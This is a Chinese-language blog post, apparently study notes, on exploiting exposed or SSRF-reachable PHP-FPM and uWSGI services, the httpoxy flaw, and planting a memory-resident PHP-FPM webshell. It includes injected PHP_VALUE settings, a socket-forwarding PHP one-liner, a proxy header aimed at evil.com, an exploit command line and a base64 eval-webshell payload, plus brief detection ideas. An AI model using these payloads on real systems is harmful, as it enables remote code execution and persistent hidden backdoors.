看到带佬用php-fpm做内存马,于是把php-fpm和cgi相关的知识再拿出来学学学

攻击php-fpm

FastCGI是常见的webserver动态脚本执行模型之一,主要目的是将webserver和动态语言的执行分成两个不同的常驻进程,当webserver接收到动态脚本的请求,就通过fastcgi协议将请求通过网络转发给fastcgi进程(即fpm),处理之后再将结果传给webserver,然后webserver再输出给浏览器;这种模型下不需要嵌入脚本解释器到webserver中,增加伸缩性和可维护性

fpm的默认监听端口是9000,如果目标对外开放了9000端口,我们可以利用这个开放的fpm对其发送符合fastcgi协议的请求,当header中的type指定为4时 可以给php-fpn传递环境参数,包含以下的内容

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

其中SCRIPT_FILENAME就是php-fpm会去执行的文件,由于5.3.9版本引入了security.limit_extensions的选项,默认对后缀名限制在了php家族,所以我们可以考虑找到已存在php文件(安装时附带的php文件 可以通过find / -name "*.php"来搜索一下默认环境 比如/usr/local/lib/php/PEAR.php),向其中注入恶意代码;而fpm支持通过设置FASTCGI_PARAMS来动态修改 php 的设置,可以利用这两项

'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
# "allow_url_include = On\ndisable_functions = \nsafe_mode = Off"
# "allow_url_include = On\nextension = /path/to/abc.so"

来做到执行某php文件时自动包含 POST 内容,执行恶意代码(disable_function在php加载时就确定好了,无法重写,但是可以修改open_basedir的值)

所以综上,我们的攻击思路就是伪造一个可以正常通信的FastCGI客户端,将传输的内容修改为我们的恶意payload(利用PHP_VALUEPHP_ADMIN_VALUE这两个可动态修改php设置的项),再发出去;根据目标又可以分成以下几种

  • 远程攻击php-fpm

p牛的php-fpm脚本直接嗦,可以执行任意php代码或加载恶意.so

  • SSRF攻击本地php-fpm

用gopher打内网fpm9000,payload还是p牛的脚本

  • 结合ftp&PASV mode攻击本地php-fpm(已知开放内网fpm端口)

在受害者端模拟一个ftp-server(用来将我们希望执行的内容转发至fpm),在响应PASV命令(即切换被动模式时)返回(127,0,0,1,0,12345)来让ftp-data打向我们指定的内网12345端口;如果是EPSV mode,就不会在通信中有(ip, port)的值 只能把data打向控制连接的服务端的端口,解决方法:手动把EPSV命令的返回结果设为非229的值,那么php的ftp://就会使用PASV命令

之后用继续上面php-fpm的脚本,先覆盖掉原有open_basedir的设置再写入恶意.so,进行RCE

  • 攻击unix-socket模式下的php-fpm

由于unix-socket是读取/run/php/php7.4-fpm.sock进行内部通信,所以不能打远程的,我们用stream_socket_client建立一个unix-socket连接,然后写入tcp流来通信

<?php $sock=stream_socket_client('unix:///run/php/php7.3-fpm.sock');fputs($sock,base64_decode($_POST['A']));var_dump(fread($sock, 4096));?>

CGI HTTPoxy

php<5.6.24

不止影响php,所有以CGI或Fastcgi运行的程序理论上都受到影响

httpoxy

根据RFC 3875的规定,CGI/FastCGI要将用户传入的所有http头都加上HTTP_前缀放入环境变量中,而恰好大多数类库会约定俗成地提取环境变量HTTP_PROXY作为程序HTTP代理地址,于是可以构造Proxy: http://evil.com/这样的请求头将使用缺陷类库的网站的代理设置为http://evil.com/

uWSGI RCE

类似fastcgi,经常作为python应用容器启动,也支持加载perl/ruby/go等应用

漏洞的成因和上面那个很相似,在uwsgi的协议中允许通过变量来动态调整参数,其中UWSG_FILE参数可以用来忽略原有uWSGI绑定的app,设定一个新的文件进行加载执行(类似上面的SCRIPT_FILENAME

同时uWSGI程序中默认注册了一系列schemes,导致可以进一步利用

void uwsgi_setup_schemes() {
	uwsgi_register_scheme("emperor", uwsgi_scheme_emperor);
	uwsgi_register_scheme("http", uwsgi_scheme_http);
	uwsgi_register_scheme("data", uwsgi_scheme_data);
	uwsgi_register_scheme("sym", uwsgi_scheme_sym);
	uwsgi_register_scheme("section", uwsgi_scheme_section);
	uwsgi_register_scheme("fd", uwsgi_scheme_fd);
	uwsgi_register_scheme("exec", uwsgi_scheme_exec);
	uwsgi_register_scheme("call", uwsgi_scheme_call);
	uwsgi_register_scheme("callint", uwsgi_scheme_callint);
}

static char *uwsgi_scheme_exec(char *url, size_t *size, int add_zero) {
	int cpipe[2];
	if (pipe(cpipe)) {
		uwsgi_error("pipe()");
		exit(1);
	}
	uwsgi_run_command(url, NULL, cpipe[1]);
	char *buffer = uwsgi_read_fd(cpipe[0], size, add_zero);
	close(cpipe[0]);
	close(cpipe[1]);
	return buffer;
}

其中存在exec协议,结合前面的UWSGI_FILE变量,可以导致RCE

属于是和上面php-fpm无限类似,我们也可以找到一个可以访问到的uWSGI端口(uWSGI协议)并对其发送uWSGI协议的payload即可

例如目标主机上是这样的

uwsgi --socket :8001 --module project.wsgi

可以利用uwsgi_exp.py

python uwsgi_exp.py -u x.x.x.x:8001 -c "echo '1111' > /tmp/test"

php-fpm做内存马

内存马与常规的webshell最显著的区别在于删除上马凭借的文件后依旧存在于当前进程中,除非重启程序;抽象出我们的需求:

  1. 让后门代码在内存中驻留
  2. 可以通过正常的请求手段触发执行

对于第一点,本身我们的fastcgi(fpm)就是常驻内存的(也是优于传统cgi的地方),并且在一次fastcgi请求中经过PHP_VALUEPHP_ADMIN_VALUE修改的php配置值在此fpm的生命周期内都会被保留下来

所以我们可以继续沿用上面攻击php-fpm的方法

'PHP_VALUE': 'auto_prepend_file = php://input'

但是这样的php://input需要解析每一次的代码,对于内存马来说相当失败,我们把它换成data协议固定下来

假设这里是SSRF攻击本地php-fpm的场景,我们继续用上面的脚本,稍作修改

  • post换为get(不需要解析php://input

  • auto_prepend_file = \"data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW3Rlc3RdKTsgPz4=\"

其余的不变,依旧要指定一个服务端已存在的文件,之后通过这个auto_prepend_file就可以植入内存马

不过这样的方案也有一定的局限性,它是和服务端的php-fpm worker进程绑定的,如果服务器上有多个worker进程,我们需要多发送几次之前的请求,才可以让payload感染每一个进程

另一个需要注意的点是php-fpm.conf的一个配置项pm.max_requests,它定义了每一个 worker 进程最大处理多少请求,就会自动重启,避免内存泄漏,但是一旦重生我们的内存马也会失效,还好默认是0

我们可以根据wofeiwo师傅之前写的fcgi_jailbreak.php改造出fpm内存马一把梭的脚本,具体修改的地方就是上面的php://input改为一句话马

image-20220913144342599.png

其余部分不变,继续用即可

查杀

不可避开的话题是内存马的查杀,由于它只是动态修改了内存中的 PHP 配置,我们也无法从PHP.ini/.user.ini/php-fpm.conf等文件内容中检测,真正添加内存马由于只需要对fpm监听的端口发送请求,因此也无法从webserver的accesslog中发现问题

或许可以通过rasp之类的工具检查auto_prepend_file/auto_append_file/allow_url_inclue配置的变化来做检测

个人认为可以通过流量的行为进行检查,当出现了rce相关的流量但没有文件马的时候就可以考虑是php-fpm的内存马了


以下是本文中涉及到的 和我学习时看过的所有文章的链接🔗 每日感谢互联网的丰富资源(

PHP FastCGI 的远程利用 | 攻击 PHP-FPM 学习笔记

CVE-2016-5385 | httpoxy | HTTPOXY漏洞说明

uWSGI 远程代码执行漏洞

利用 PHP-FPM 做内存马的方法